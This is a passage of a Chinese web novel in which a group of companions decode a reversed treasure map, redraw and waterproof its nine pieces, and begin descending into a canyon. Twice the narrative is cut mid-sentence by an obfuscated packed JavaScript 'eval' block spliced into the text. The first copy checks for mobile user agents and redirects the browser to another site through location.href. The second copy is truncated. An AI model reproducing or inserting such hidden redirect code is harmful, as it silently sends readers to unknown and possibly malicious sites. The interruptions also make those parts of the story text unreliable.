白阳来其实已经确定了自己方才冒出的想法,这时便将地图举起来对燕昭鹏说:“其实,我发现了一个问题。” 燕昭鹏:“嗯?” 白阳来看着目光向他聚过来的众人道:“苏善说这里像,我也觉得这里像,但是转了这么久总是不得法,每每看着是的,一到近前又不是了。” 燕昭鹏很有耐心地“嗯”了一声,表示同意。 丛英在一旁催促道:“是啊,对,所以呢?你发现什么了?” 白阳来并没有吊人胃口的想法,丛英一催便直说到:“我发现地图可能错了。” 苏善猛地抬起头,一脸地接受不了。 白阳来一看他红起来的眼睛立刻制止道:“不,你停!不许哭!听我说。”他飞快地解释道:“我的意思是,我们看图的方式错了。怪我一时没说清楚,苏善,你的地图没有错,但我们一直看错了。” 他将地图翻过来、举高,让绘有墨迹的一面迎着阳光,招呼大家一起看没有墨痕的背面:“你们看,这样是不是感觉顺多了?” 丛英连忙拿起苏善面前的地图举高,学着白阳来的动作举起来与苏善一起抬头看阳光照射下的地图背面,苏善一瞬间犹如醍醐灌顶一般恍然大悟,他将目光从图上移到白阳来脸上,白阳来正微笑地看着他,目光中全是鼓励和祝福。 苏善渐渐笑开:“原来是这样!”他一边跑去牵马,一边意气风发地叫丛英道:“上马,跟我去看我的宝藏。” 众人上车上马一路奔驰终于来到一片与地图所画全然一致的地貌之前,望着前方的气势磅礴的峡谷,没有人能不感受到一股扑面而来的震撼,天地造化无比玄妙,在这个山谷面前,人类何其渺小。 丛英瞪大眼睛看着这纵深在眼前不知多长、多宽、多深的峡谷,惊异又佩服:“就是这里了吗?狮王是怎么找到这个地方的?” 燕昭鹏也随之感叹:“他还将宝藏藏在了这儿,真是经纬其功!” 白阳来当然也震撼于这宏大的景观,不过他身为领队之人首先要考虑的是眼前亟待解决的问题:“我们要从哪里下去?” 苏善连忙翻出地图来看,又强忍着激动手忙脚乱地将地图翻到背面,举起来迎着太阳。 众人所站之处的前方几步之外就是竖直的深不见底的悬崖,悬崖之下便是望不到边的大峡谷。几人一同抬着头看苏善和白阳来手中的地图,即使是背景都能感觉得到他们的严肃。后面跟着的前锋营士兵和燕家亲卫看着他们一齐抬头的动作都有些想笑,但公然笑话自己的将军和郎君是不可以的。于是,峭壁之上的这一群人,前面的都抬着头在看地图,后面的就都低着头在无声欢笑。燕昭鹏一好茶确实提神,大家现在状态都极好,笑得也极开心。 天上大大的太阳照的人眼花,众人看了一会儿地图后燕昭鹏第一个感到不适,他低下头揉了揉眼睛,说:“这是何必呢,上车看吧。”苏善是因为兴奋,故而对刺眼的阳光毫无所觉,白阳来是因为习惯了,不感到辛苦,唯有丛英大力赞同道:“对对对,这阳光太刺眼了,我跟燕长史哪里受得了,上车上车。” 马车上,苏善学着白阳来的样子说:“现在,有一个问题。” 燕昭鹏上下打量他现在的样子,突然理解了他为何会与丛英交好。 果然,坐在苏善身边的丛英非常配合地板着一张脸做严肃状,学着燕昭鹏的样子轻摇手中看不见的折扇。 白阳来此时倒也有了些轻松玩笑的心思,,他看了看对面两人这做作的样子轻快地笑着对苏善说:“你现在又不急了?” 苏善一时喜极而忘形,被问了这一句之后猛然记起正事,迅速收拾了情绪不再装腔,恢复正常的样子说:“我也发现了一个问题。” 丛英继续配合:“嗯,发现得好。是什么问题?” 苏善被他逗得笑了一下才指了指地图说:“之前白将军说地图应该反过来看果然是对的,我就想除了这一点我是不是还疏漏了其他什么。刚才过来的路上我把在床上看到的全部纹路都回忆了一遍,我发现除了应该反过来才是正确路线之外,其实那些图的位置也是错乱的,需要重新拼接起来才是一张完整的地图。”苏善带着一点不自信的语气推测说:“我想,完整的地图上面应该有下去的路。” 丛英觉得自己的脑子被绕啊绕,似乎听明白了,又不太明白:“所以,你的意思是……什么意思?” 燕昭鹏想了想说:“之前你说过,地图是你寝宫窗户上的纹路阴影投射到屋顶上形成的,所以我们将图反过来看就路线就对了。这样的话,你的窗棂是一格一格的,也就是说,每一个格子里的图纹都是地图;而你看到的这些图纹的顺序是错乱的,需要重新排列才能拼出完整的地图?” 有人懂自己真好,苏善大力点头:“对,就是这个意思。” 白阳来顺着燕昭鹏的话确认道:“所以,我们之前是将全图之中的一格当成了全部的藏宝图。” 苏善十分不好意思说:“这是最中间的一格,我以为只有它是地图。” 燕昭鹏安慰道:“不打紧,我们不是凭着那张图找到这里了吗?还终于发现了如此重要的问题,已经可以算得上不虚此行了。”他见事深远,此时已经在为万一找错或是下不去等有可能发生的糟糕情况做铺垫了。 燕昭鹏的担心丛英也想到了,他谨慎地问:“我们地图都刚刚才看明白,那现在找到的这个地方,是对的吗?” 苏善此时倒是一扫疑虑,重拾了信心,振奋精神说:“你们等等,我把图都画出来咱们先拼好再说。” 众人于是留他一人在车内铺纸画图。白阳来下车去处理其他事务,丛英抱着砚台坐在车轼上给苏善磨墨。 从开始到现在,心中的地图苏善已经画过很多次了,尤其在经过润和大营画图高手指导关键之后,他画起来越发熟练不说,画出来的东西也比之前好太多了。现在苏善画完之后的图纸,用丛英的话来说:“简直一看就知道是地图。” 燕昭鹏抱臂看着丛英磨墨的动作说:“你墨磨得不错啊。” 丛英扬起下巴看着他手下不停说:“什么话,你以为我只会动嘴啊,我干什么不行?我什么都很行!” 燕昭鹏笑了一声说:“嗯,是,很行公子,差不多了,再磨下去就要满出来了。” 丛英连忙低头看砚台,果然磨够了,连忙停住,说:“又吓我,多一点怕什么,还要画好多张呢。”说着将砚台给苏善放了回去。 白阳来拿着点心走过来,一份给燕昭鹏,一份递给丛英,说:“我们此次出门物资充足,又很快找到了地方,一旦确定了下去的路线说不定这一次就能找到宝藏地点了。” 丛英吃着点心说:“一定能,之前两次总是云里雾里的,这次一出来就开窍了,一定很快就能找到。”他自己吃还不忘掰一块回身塞进车里正在画图的苏善口中。 白阳来往里看了看认真画图的苏善,说出了自己的顾虑:“如果真的找到了地方,那我们就要面临一个新问题了。要开启宝藏难免会遇到机关,可我们的队伍里没有懂这个的,我有些不放心。”他对燕昭鹏说:“叶真和我派出去找罗影的人回来了几队,却都没有他们的消息,倒是与王城出来找人的禁卫遭遇了。也不知道罗影找到那个楼冰尽没有,他自己人又在哪里。” 这不是白阳来第一次担心罗影了,燕昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393475|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹏听后也只能安慰他:“以罗将军的本事没有消息就是好消息,这说明他行踪藏匿得好。至于楼冰尽,你怀疑他是龙门中人,想让他来看看机关?” 白阳来虽然没有什么证据能证明,但就是这样觉得:“是,我从前感觉他是,现在希望他是,可一直没有消息。”真是令羊叹气。白阳来低头看了看一脸乖巧吃点心的丛英说:“虽然有苏善在,但我想狮王一定想不到自己的儿子会只身前来找这些东西,他留给苏善的人中应该就有懂机关术的,否则随便就能打开的又叫什么宝藏呢。” 燕昭鹏也做此想,只是:“就算罗影找到了楼冰尽,我们一时也找不到他们。”燕昭鹏用手臂碰了碰丛英低声问:“你知道狮王给苏善留下过什么得用的人吗?” 丛英咽下嘴里的点心先回头看了看,见苏善沉浸在画图中已近忘我之态,这才放了心。他跳下车来引白燕二人走到了远离马车的地方才说:“狮王不但留了,而且还不少,有军队有侍卫还有里外伺候的人,但听我父亲说除了当时已经在宫里伺候苏善的女人们其他的都被杀了。当初,狮王刚死阿克奇将那些忠于狮王的将领骗进宫里毒杀之后就有人带兵反抗过他,可是宫里封锁了消息,外面的人无法确定那些将领们的生死,因此起来反抗的力量比不上阿克奇手上的精兵,再加上鹰王和豹王在那个时候突然倒戈,狮王的旧部反应过来的时候局势已经无法挽回了。那两个叛徒贼子被阿克奇封为鹰王和豹王的那天,听说在外面杀了整整一个晚上的人以示庆祝,他们杀的那些人”丛英的嗓子突然卡了一下,他用力咳了咳,眨了眨泛红的眼睛才继续用很轻的声音说:“他们杀的那些人,就是狮王留给苏善的侍卫和百工。”这些年苏善一直以为阿克奇换了他身边的侍卫,但没有想过他们早已不在,或许他隐隐知道但不愿相信。丛英想,虽然隐瞒和欺骗都不是好事,但不盖上这些真相苏善这些年要怎么活过来呢。 白阳来撇开头闭了闭眼,心中泛起一种深沉的酸楚与悲凄,这种难过的情绪是那么的熟悉,让他一瞬间觉得帮苏善报仇好像并不是在帮助别人,而是在成全自己心中长久以来的那份残缺。白阳来像小时候那样再一次咬着牙想:谁都不可以欺负小孩子,否则他们长大了不但会为自己报仇,还会帮助同样被欺负的孩子报仇。 燕昭鹏是抽离心绪最快的那个,他清了清嗓子说:“嗯,这样说来,想找会机关的人还是找罗将军他们更快一些。” 丛英觉得不然:“你们派了那么多人去找都没找到,他那个厉害的哥哥派出去的人一次比一次精干,也没有找到。上次不是说除非他自己出来否则旁人难找吗?难不成他还能带着那个龙门的人突然出现在这片峡谷里?” 燕昭鹏斜睨他,丛英不忿道:“怎么,我说的不对吗?” 燕昭鹏对他也是无奈:“若非如此,小公子你准备如何开启宝藏呢?塔纳云罗丹也学机关吗?” 丛英脖子一梗:“当然学啊,我不信你们燕家不学。” 燕昭鹏摇头叹道:“会开两个机关盒子存点子小玩意儿那不叫会机关,宝藏中的机关必定是整体设计建造起来的,与你把玩的机关盒子不可同日而语。” 他这样好声好语地一说丛英反而不好意思再抬杠,但又不想服软,只能微微梗了梗脖子别扭地说:“那能怎么办,我们这次虽然找得快但路上的曲折比前两次都多,我不想再来一次了,我发自肺腑地希望:最好这一次就能找到地方、也找到东西。” 燕昭鹏也觉得这一次比前两次折腾得都很,心中也十分赞同丛英的话,于是说:“那就让我们一起祈祷,最好罗影与楼冰尽能一起出现在这片峡谷中,帮我们打开宝藏。” 白阳来看向悬崖下方广袤的峡谷。在他前方几步处,竖直垂下的峭壁望不到底,峭壁下方的峡谷宽广深邃,远处氤氲在雾气之中看不真切,似是没有边际一般。白阳来过去曾听老兵们在闲话的时候说过,草原广大,什么地形地貌都可能有,但只有不可思议的地带真的出现在眼前时,才能让人真的相信,这句话是真的,并非夸张。脚下的土地坚硬结实,硬的不像土地倒像石头,然而峡谷之上却飘有雾气,这说明下面有水,有水的地方必多蛇虫鼠蚁,想到这里,白阳来不再耽搁,跟燕昭鹏说了一声,就先回去了。 丛英看着他跑走的背影,只觉得那身姿轻盈又优雅,不过:“他怎么突然回去了?” 燕昭鹏看了看他懵懂的小眼睛说:“你看下面这种情景,我们要是真下去了还不知道会遇到什么情况,他自然要早做打算。再说,你我方才许的愿要是成真的话,那我们的队伍就会增加不少人,人多了物资消耗的速度就会加快,这意味着咱们的时间将不再充裕。” 丛英……苏善甚至还没画完图,他们俩就已经想到这么远了吗。他想了一圈儿之后抬起头对上燕昭鹏的眼睛说:“还好跟你们来这儿说话了,不然我现在说不定已经把那包点心吃完了。照你这样说我还是省着点儿吃的好。” 燕昭鹏被他说的笑了:“瞧把咱们‘很行公子’委屈的,不至于,省能省出什么来,咱们早点完事早点回去比什么都强。” 丛英看着他坚定地点头,觉得自己又跟燕长史学到了东西。 36.第 36 章 苏善从烈日当空画到了月映群星,终于画完了全部的九张地图,他从桌上直起身子长长地松了一口气,连笔都没来得及放下就感觉头脑晕眩,眼前一片灿烂的金银光辉,整个人随之脱力地向侧后倒去。 还好有催他吃饭已经催得气鼓鼓的丛英正坐在一旁才得以及时地……没有扶助、但把自己垫在了车壁与苏善之间,没有让倒下的苏善摔到头。 白阳来听到丛英的呼痛声迅速赶来,只见丛英半坐在地上用手将苏善的头肩护在怀里,倒下的苏善眉头紧皱似是很难受却又没有挣扎的动作。白阳来长腿一抬上了车,一边一手一个扶起丛英苏善一边向后吩咐道:“请关大夫,苏善应该是累极了。” 燕昭鹏出营寻宝关阙自然是要跟着的,这一路上有他在着实令人放心不少。虽然因为他的缘故,要带的东西也多了许多,但探寻未知之地能有这样的好大夫同行,即便多带些东西又算得了什么麻烦。这世上,没有比伤病更麻烦的事了,相比之下,关大夫规矩多些也没什么。 尤其是有人倒下的时候,白阳来觉得自己此刻还能如此稳得住全赖队伍里有这位关大夫。 关阙来的很快,身后跟着的亲卫一个是燕家的,一个是前锋营的,替他背着药箱举着伞。关阙上得车来把脉施针一气呵成,三针过后,苏善悠悠醒转。 丛英看关阙的眼神就跟看神一样。关阙很满意,这是他在燕昭鹏和白阳来脸上永远不会看到的神情。 在他身后,白阳来与燕昭鹏对了个眼神,白阳来轻笑,燕昭鹏不屑地转头:丛英也就是第一次见才会觉得厉害,扎个针有什么稀奇。 关阙对苏善说:“小公子身体底子十分之好,以后遇事多想开些就更好了。”又对旁边等着的众人说:“没事儿,就是精神突然损耗剧烈又久未饮食,一时气力不济以至于晕眩脱力,吃些东西好好休息一夜便无事了。” 一直等着苏善还没吃饭的丛英此时正好与苏善一同用饭,白阳来与燕昭鹏回到自己的车上看苏善画好的地图。 白阳来看着手中的地图叹了一口气,叹得意会的燕昭鹏一下就笑了出来:“有时候我觉得丛英真是个不可多得的人才。虽然他说话总让人无言以对,但你有不得不承认,他的很多话都说的很对、很准确。” 比如苏善画的这些地图,一看就能看出是张地图,但也仅止于此。虽然他确实已经非常努力了,但是看惯了润和营中严整规范的军用地图再来看这样的地图,对识图之人显然是一个考验。燕昭鹏与白阳来之前就想过,苏善画完之后他们可能需要重画一遍,为了以后使用的方便,白燕二人自然不会觉得费事,只是希望苏善不要多心介怀才好。 正在吃饭的苏善并不介怀于此,他自己画出来的图是什么成色自己心里清楚,白阳来与燕昭鹏从小多少有些书画底子,对军中地图的形制和标记亦更为了解,他们若能画得更好看一些那以后路上用起来大家都方便。更何况,苏善拼着一股劲儿画完全部的地图之后,早已倦怠疲累至极点,现在的他双手酸软捧不起碗不说,低头去喝汤都因为困倦不已差点栽进汤里睡过去,关阙方才说他气力不济实在是太委婉了。 旭日初升,天朗气清,早起的丛英给睡得迷迷糊糊的苏珊喂了一碗蜂蜜水后就下车去找白阳来与燕昭鹏了。 另一辆马车上,燕庭阔正守在外面,见丛英下车过来便压着声音向他问安:“请小公子安。我家郎君们昨夜画图至天亮,现在刚刚睡下。”他回身从车轼上拿过一个木盒打开呈上:“昨天苏善公子画的图和我家郎君誊画的图都在这里,您若要看就请拿去。”木盒中是两叠整齐的图纸。 丛英多有分寸的一个人,顺着燕庭阔呈上图纸的动作就是一个后撤,同时摆手道:“既然他们还睡着那我就不打扰了。图你收好,我等大家都醒了再一起看。” 大半天过去了,燕昭鹏与白阳来的马车寂静无声,众人或喂马拾柴、磨刀擦枪,或防卫休息各尽其责,只余一个无所事事的丛英坐在车轼上晃着腿,一会儿看看各忙各的众人,一会儿看看车里沉睡不醒的苏善,闲极无聊又安静规矩。 因为熟识的人都睡着,这一日丛英的早饭与午饭都是自己吃的。他也不去与前锋营的将士们攀谈,只将饭菜取来独个坐在车轼上吃。但一个人吃饭实在很没意思,丛英吃一口饭叹一口气,再吃一口饭再叹一口气,蔫头耷脑,越吃越没精神。 吃过午饭去马车上看过燕昭鹏与白阳来的关阙带着自己的两个亲卫来到丛英面前,双手交叠在身前、抬着下巴垂着眼观察了他一会儿,问道:“小公子,可要在下也给你扎两针?” 丛英被惊了一跳,差点没握住手里的筷子:“为何?” 关阙有心逗他,说:“我看你好没精神的样子,小公子如此年岁正该是最神采飞扬的时候,怎么这叹的气比吃的饭还多,如此这般于养生无益啊。”关阙问:“是这吃食不合口吗?” 丛英摇了摇头说:“没有,挺好的。”他看了看关阙,发现他眼中带着关切,便又加了一句:“突然没人说话,太安静了有点儿想家罢了。没事儿的,我一会儿就好。” 关阙一下子滞住了,那点儿调笑小郎君的心思也被瞬间抛飞。他低头想了想,斟酌着宽慰道:“出门在外,想家总是难免,小郎君找点儿事情做就好了。” 丛英点头谢过他的好意,说:“是的,我明白关大夫的意思,但我不喜欢看书,也不喜欢骑马,我自己待会儿就行,没事儿的你不用担心,我身体很好。” 关阙还想说什么,丛英突然抬起头说:“你是来看苏善的吧,他一直睡着,你来看看他吧。”说着将身后的车门推开,苏善头冲里脚冲外睡得很安稳。关阙上车把了把脉发现一切都好,便示意丛英下车说话。两人将车门关好,下了车。 关阙道:“苏善公子年轻,底子好,昨日服了一剂汤药如今已经恢复了,以后好好吃饭按时休息便可如初。只是他先前虽然一下子累狠了,如今也不可睡得太多,等两个时辰后天黑了若他还未醒,丛英公子无论如何要叫他起来进些食水。” 丛英仔细记住说:“好的,关大夫放心,天一黑我就叫他。” 这乖巧的样子让关阙想起那日施针后他毫不掩饰的满脸崇敬,于是便多问了一句:“丛英公子现下可有事要忙?我那里稍有几样可以把玩的物件……” 丛英原本已经蔫儿下去准备告别的身体一弹,腰背挺得笔笔直,中气十足且极其直接地立刻答应道:“我正没事干,关大夫,让我去你那儿长长见识吧!” 关阙笑了:这纯真少年真是可爱! 但丛英又放心不下苏善。关阙于是留了一个亲卫守着苏善,这才成功将丛英带回自己的马车玩耍。 丛英觉得关大夫真是太有趣了,懂这么多、会这么多,还样样都很神奇,简直太厉害了! 关阙觉得丛英真是太有趣了,什么都赞叹、什么都夸奖,还句句都是发自内心,简直太可爱了! 丛英心想:我族要是有这么厉害的大夫,苏善也不会早早就失去父王。 关阙心想:燕家要是有这么可爱的郎君……不,还是算了,燕家的孩子还是像马车上睡着的两位那样,才是真正的对谁都好。可爱这种东西燕家并不需要。 丛英在关阙给他打开的箱子角落看到了一个漂亮的小罐子,罐口封得严严实实,外头也没有贴纸签,遂指着那小罐子问:“关大夫,请问这是何物?” 关阙放下书伸头看了一眼说:“噢,那是一罐上好的桐油,原本就放在那里,我收拾东西的时候也没动它。” 丛英问:“桐油是做什么的?”这样的问话过去一个多时辰中已经出现过很多次了,而关阙每一次都不厌其烦地给了他清楚的答复。 公正地说,关阙是个耐性极好的人,只不过他与燕昭鹏这对医者与患者之间的推拉大战实在是旷日持久,两人的无数次你来我往的“较量”给彼此留下的阴影也过于深刻,以致于每次问诊用药时双方皆会难以抑制地表现出一种“话不投机半句多”的态度,让人误以为关大夫与燕郎君都是不能容谅、毫不隐忍、无法交流之人。 他们只是不愿给对方耐心、不想与对方交流太多而已。 关阙合上书回答丛英:“桐油是自桐子中榨取的油,刷在日常所用的物品之上可以防水,我们中原人下雨时用的油纸伞就是在伞面上刷上桐油制成的。” 丛英一听桐油刷在纸上能防水,立时灵机一动说:“要是这样的话,那我们将桐油刷在地图上,岂不是地图也能防水了?” 关阙听后先是顿住,认真想了一下才肯定他道:“丛英公子说的不错,地图若是刷了桐油……那确实便能防水了。”虽然好像没有人会给地图刷桐油,但,也没什么不行的嘛。学医之人既要恪守原则又要懂得变通,如关阙这般的医学大才自然两者兼有。 这时,车门被敲了两下,敲门声落白阳来的声音从外面传进来:“两位好主意,竟还正好带了桐油。” 丛英掀开马车门上的帘子,见白阳来眸光闪亮地站在车下,忙问:“你们都醒了?”他看看外头的天色:“现在太阳还没下山,我们原本预备等会儿去叫你们呢。” 白阳来笑容轻快地回答他说:“都醒了,苏善也醒了。”然后看向关阙,恭敬道:“关大夫受累,去看看郎君吧,我怕他熬了一夜受不住。” 关阙自然点头:“正是要去的。虽说如今比以前是好起来了,但越是这种时候越经不起反复,以后几日郎君最好都将养着些,不要再如此劳累了。” 白阳来极为赞同地说:“在下也是这个意思,以后的事我们去忙就好,他该如何调养还请关大夫多费心。寻宝至此,接下来不知会遇上什么情况,若是真有意外,只怕不想受苦也要受苦了。” 话音未落,燕昭鹏的声音就紧跟着从他身后传来:“若是遇到‘不想受苦也要受苦’的情况,那就大家一起受着呗,不用太为我担心。在下虽然身娇体弱,可你们难不成都忘了?我还吉星高照福如东海呢~” 下车下到一半的关阙:怎么听着这话就让人生气呢,哪家吉星高照福如东海的郎君会一病这么多年?这是刚好受了几天就把过去受苦的日子都忘了? 丛英手中还捧着那罐桐油,此时他看了看拉这个脸不说话的关阙,又看了看扶着燕昭鹏的白阳来,说:“我们给地图刷上桐油吧?刷了之后能防水。” 燕昭鹏看了看那个罐子说:“刷吧,感觉挺有意思的。” 关阙翻了个白眼:这东西他没玩儿过,你还没玩儿过?人家刷桐油都只刷靴子外头,燕郎君刷桐油那叫一个大方,里外都刷,嘿! 白阳来招呼大家:“苏善已经在等了,我们先去吃饭再说。” 郎朗星空下微风拂面,神完气足的几个人开心地吃着热腾腾的饭食,烤饼陪着酱菜与烤肉,虽然这一顿没有热汤,但出来已经三次了,这么多时日一来,大家也都习惯了这样的饮食。趁着人齐,白阳来将接下来的计划大致说了说。 现在这个宿营地不算太合适,他们需另觅一处更合适的地方作为长期驻扎的营地,一来在进峡谷之前,他们还需要几天的时间做一下准备;二来下峡谷寻路不需要所有人一起去,白阳来预备只带少量精锐以保证寻觅速度,待找到目标地点、确定了安全路线再拔营一同前往不迟。 除了合适的营地,拼地图是最紧要的事情。九格地图已经全部画了出来,苏善看过白燕二人重新誊画的图,已经确认了地图的准确性,接下来就是要将它们拼成完整的一张,然后从中找到通往藏宝的路。 丛英问:“那桐油呢?” 苏善不解:“什么桐油?” 丛英拿过那个小罐子说:“这个桐油刷在地图上能让地图防水。” 苏善一听果然与丛英的反应一样,说:“噢,那我们要刷的吧,白将军不是说下面有雾就有水吗?” 好的,现在不但要拼地图还要刷桐油了,那就更需要时间了。 燕昭鹏问:“我们的粮草带够了吗?若是寻到了路要下去的话,能支撑多久?” 白阳来给出的回答令人安心:“目前我们的粮草尚能支撑一月有余,暂时还不必担心这方面的问题。” 他接着说:“这也是我想寻一处合适的地方建固定营地的原因之一。若是能如此,我们就可以将辎重都存放在营地里,一边画图、刷桐油,一边以营地为基础下峡谷探路,两不耽误,这样等地图完成、寻路线确定也能轻装前行,众位觉得如何?” 这样安排可谓兼顾周全,自然无有不好。众人纷纷表示赞同。 燕昭鹏说:“你定是要领着人下去探路的,那我就负责协 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白阳来僵住,他不喜欢喝药。虽然跟燕昭鹏在一起免不了替他尝药试温,但,白阳来只喜欢药材香厌恶药汤的味道。他处理这种厌恶的办法是尽力让自己身体强壮不生病,可这一次是为了预防万一,燕昭鹏拍了拍他的肩权做安抚。白阳来性格内敛,情绪不愿外露,因此他的很多反应只有燕昭鹏懂。 丛英直觉喝药不是什么好事,因问:“我们也要喝吗?” 关阙说:“大家都喝,我也喝。”他看了看燕昭鹏与白阳来,对丛英说:“放心吧,不会很苦的。” 但白阳来怕的不是苦,而是汤药的怪味道。 苏善现在一心只有地图,对其他全不在意,见大家都在说别的,忙将众人的关注导回正题:“吃饱喝足,我们开始拼地图吧。” 一共只有九格地图,应该是好拼的,只是,原来的问题依然存在,他们的地图画得不太好,即使白阳来与燕昭鹏算得上略有书画功底,但看惯了润和大营绘图高手们所绘地图的两人,对自己亲手画的图是极看不上的,只是受当下条件所限“勉强一用罢了”。 此时的白阳来、燕昭鹏与苏善、丛英都以为他们拼地图拼得困难是因为自己画图画得不好。 丛英闭着眼摇了摇头说:“不对不对,我觉得不对。” 白阳来、燕昭鹏和苏善同时叹了一口气停下来看着他,等他说话。 丛英睁开眼睛用力瞪了瞪,整理了一下思路说:“这里,只有九张图,而我们,一共四个人,怎么就能拼不出来呢?” 苏善说:“我拼出来了呀。” 燕昭鹏也说:“是你拼不出来吧。” 白阳来没有说话,但他也是拼出来了的。 丛英眉毛眼睛都要皱到一块儿了,他忍无可忍地哀叫道:“你们三个人三种拼法,每一种都不一样!这跟拼不出来有什么……”他张开五指向着另外三人摇了摇:“不不不,还是有区别的。这还不如拼不出来呢。” 三个人,三种不同的拼法,哪一种都说得过去,因此无法确定究竟哪一种才是正确的拼法。 正好关阙将熬好的汤药给四人送来,看着他们喝药的同时顺便嘱咐道:“这两日郎君和公子们耗神耗力得都有些过了,今晚喝完药就早些休息吧。白将军既已对近日的任务有所安排,那各位且待明日头脑清明时再来思索岂不更好?” 他话音未落丛英便迫不及待地表示赞同道:“对对对!关大夫说得太有道理了。喝药喝药,咱们现在就喝药。” 白阳来目光凉凉,看着端起药碗的丛英满是同情;燕昭鹏闻着药味儿在脑海中判断着新药的味道;苏善好奇地看着浅色的汤药。而丛英捧起碗就大喝一口,然后以迅雷不及掩耳之势喷了出来。 关阙机敏地躲开,站在车旁一边笑一边摇头:这一口喷出来只怕就浪费了一半,还好他早有准备多熬了一些。 苏善脸色一变问:“你怎么了?这药很苦吗?” 丛英咧着嘴伸着舌头说:“酸的!” 白阳来忍不住闭眼侧头,全身都在拒绝,他就知道会是怪味道。 喝完药,拼不出图或者说对拼出的全图无法达成合意的四个人决定听大夫的话先睡觉,明天再说。 白阳来与燕昭鹏回到自己的马车,车内已经整理好可以直接休息。二人简单地洗漱后躺在马车上,四下无人的草原如果不刮风就静的没有一点儿声音,守夜的侍卫走动时细微的脚步声在这样的环境中听得格外清楚,却让人有一种安心的感觉。两人一时都没有说话,过了一会儿,燕昭鹏问:“你在想什么?” 白阳来说:“我在想,这世上不论什么事情都必定要自己亲身做了方知难易。”他设想过许多可能发生的困难,独独没有想过地图竟然会是阻碍他们前进的难题。白阳来在黑暗中微侧一点头问:“你呢?你刚才在想什么?” 白阳来这一问让燕昭鹏突然发现自己今天其实过得很开心,于是说:“我刚才在想,咱们的马车从前是不让别人上来的,可这一次,丛英一趟一趟地跑来我好像也没觉得怎么样。”他感觉在不知何时,自己好像比过去宽容了许多,还有更令人发自内心感到高兴的是:“从前在府里的时候,我哪里敢想我能在这无边无际的草原上跑跑绕绕的呢。可是这一次,我们赶路、熬夜,一起画图,我都没事儿、我完全没发病、没有支撑不住,还能与你们一样吃饭睡觉!”这可真是太好了。 白阳来在黑暗中点头,燕昭鹏信心满溢地说:“如果这一次我们完成任务回营之后我都还是好好儿的,那我想咱们可以给父亲写信告诉他这个好消息了。” 白阳来想到关阙说过的狮王宝藏中的秘药,志在必得的心意比过去更坚定了:“会的,一定会的。等咱们回去就给大人写信,以后九州四海都任你来去了。” 燕昭鹏想象着那个场面,心中喜意泛开甜得不行。虽然前路未知,但心中满是希望,前路纵然艰险也令人向往。 翌日,白阳来带精兵下峡谷探路,其他人留在上面继续拼地图。 37.第 37 章 队伍出发时,丛英坚决表示要跟白阳来一起去。 白阳来觉得奇怪:“且不说一切未知,下去的路也不好走,你留在上面更安全舒服,为何一定要跟我去?”这不符合丛英娇生惯养、好逸恶劳的一贯表现啊。 苏善也觉得奇怪:“地图还没确定,白将军只是先去探查峡谷的情况而已,你现在就急着下去做什么?” 燕昭鹏的眼神在大家身上转了一圈,似笑非笑道:“很行公子的脑子可不是一般的知事懂礼,他是怕白将军不在,我与苏善公子在地图之事上各执一词他夹在中间不好做人。” 苏善听着不对:“为何不好做人,你不支持我的拼法吗?” 他这一问,丛英更觉得此地不可久留,飞速想了一个好理由说:“我从小逢凶化吉遇难成祥,下面一切未知,带上我大吉大利正合适啊!”带我走吧,快带我走吧,别让我面对苏善了,我难道能在他与燕长史之间主持什么公道吗。 在丛英的坚持下,白阳来同意他随队下谷。苏善将自己随身的匕首递给白阳来并且让他一定要不离身地带好:“这是父王给我的,他说我以后会用到,我也不知道会在什么时候用到,但你既然去找路,那就把它带上吧,父王的英灵会保佑我们的。”说完还不忘再次嘱咐:“你一定要带好了,下次见面的时候要还给我的。” 下去的路果然不好走,就算有前锋营高大健硕的士兵在前方开道,跟在队伍中间的丛英还是走得手脚并用。他喘了喘说:“我从没走过这样的路,还好我父亲常逼我打拳、让我出城跑马,不然这路我真走不下去。” 白阳来扶了他一把,似是不经意地问:“你寻常出城是走八卦阵吗?” 丛英站稳后看了他一眼,笑出了声:“白将军,你这张英秀善雅的脸真是帮了你很多,什么话从你嘴里说出来都不易让人起防备之心。” 白阳来也笑道:“显然,丛英公子与众不同。” 丛英叉着腰喘匀了气说:“是啊,塔纳云罗丹一族富庶多年,族内的争斗向来激烈,我的防备之心是从小就有的,所以格外敏锐。” 两人跟着队伍继续前进,丛英说:“白将军是想问我和苏善怎么离开的王城是吧。其实你们应该早就猜出来了,王城内有密道通向外城,就在我们初次相遇的那家商铺的后面。” 钱掌柜的恒福居是临街的商铺,门前就是王城宽敞的主街之一,与商铺背靠背的另一条巷子则是专门供人居住的。有些店主会为了方便直接买下前后街的两个院子,只要打通后院的院墙便能将地方扩大一倍,不论是用作仓库存货,还是修成前店后家的格局,看店住人都很方便。只不过钱掌柜早已在更好的地段置了宅子,便没有将恒福居后头的院子也一并买下。 丛英说:“我一个堂姐买下了那个院子,从王城挖了一条密道通过去,入口在她的闺房,出口就是城外那个院子的书房。后来她将密道告诉了我。我知道后也从没去过,这一次是因为苏善要走,我才把密道告诉了他。” 这番话既详细回答了白阳来的问题,又几乎没有透露丝毫其他的信息,可谓滴水不漏。白阳来对无关的人事不感兴趣,在得到这个答案之后也并不追问其他,只是点了点头说:“原来如此。”他这个平淡的反应让丛英松了口气,对他更增好感的同时,心思也愈加安定:毕竟白阳来若是追问什么丛英是不好不答的,可要答就必然涉及家族内更多的秘辛。有些事情告诉白阳来其实也不会有什么妨碍,但丛英并不全然是面上表现出来得那样懵懂直率、心无城府之人,他非常不愿意向任何人讲述塔纳云罗丹族内的事。在他看来,许多事情烂在肚子里是最好的,族内的龌龊也好、悲辛也罢,都不足为外人道。 又走了一会儿,众人寻到了一个干燥清凉的山洞,决定进去休息片刻。 